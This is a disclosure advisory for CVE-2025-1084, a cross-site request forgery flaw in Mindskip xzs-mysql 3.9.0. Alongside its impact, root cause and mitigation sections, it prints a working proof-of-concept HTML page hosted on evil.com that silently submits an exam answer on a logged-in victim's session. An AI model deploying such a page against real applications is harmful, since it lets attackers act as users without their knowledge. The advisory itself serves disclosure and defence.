CVE-2025-1084 - CSRF Vulnerability in Mindskip xzs-mysql 3.9.0

Table of Contents

1. Description
2. Affected Component
3. Type of Vulnerability
4. Impact
5. Steps to Reproduce / PoC
6. Root Cause
7. Mitigation Recommendations
8. References

1. Description

Mindskip xzs-mysql 3.9.0 fails to implement CSRF protection, enabling attackers to coerce logged-in users into unknowingly sending state-modifying requests. This vulnerability exposes users to forced exam submissions and other unauthorized actions.

2. Affected Component

Multiple endpoints including:
/api/student/exampaper/answer/answerSubmit
Version: 3.9.0

3. Type of Vulnerability

CWE-352: Cross-Site Request Forgery (CSRF)

4. Impact

Unauthorized State Modifications: Actions like fake exam submissions or profile changes
User Impersonation: Abuse of authenticated sessions for sensitive operations
Data Integrity Risks: Potential corruption or manipulation of application data

5. Steps to Reproduce / PoC

Ensure a user is logged into http://localhost:8000
Host the following malicious page on http://evil.com:

<!DOCTYPE html>
<html>
  <body>
    <script>
      fetch("http://localhost:8000/api/student/exampaper/answer/answerSubmit", {
        method: "POST",
        headers: {
          "Content-Type": "application/json"
        },
        credentials: "include",
        body: JSON.stringify({
          questionId: null,
          doTime: 7,
          answerItems: [
            {
              questionId: 1,
              content: "A",
              contentArray: [],
              completed: true,
              itemOrder: 1
            }
          ],
          id: 1
        })
      })
      .then(r => console.log("Request Sent", r))
      .catch(e => console.error("Error", e));
    </script>
  </body>
</html>

Once the victim visits this page while authenticated, the request is executed without their knowledge.

6. Root Cause

The backend lacks CSRF tokens and does not validate the Origin or Referer headers, allowing cross-site POSTs that change server-side state.

7. Mitigation Recommendations

CSRF Token Implementation: Add token generation and server-side verification
Validate Origin/Referer: Allow requests only from trusted origins
SameSite Cookies: Use SameSite=Strict or Lax for session cookies

CVE-2025-1084 - Cross Site Request Forgery (CSRF) in Mindskip xzs-mysql 3.9.0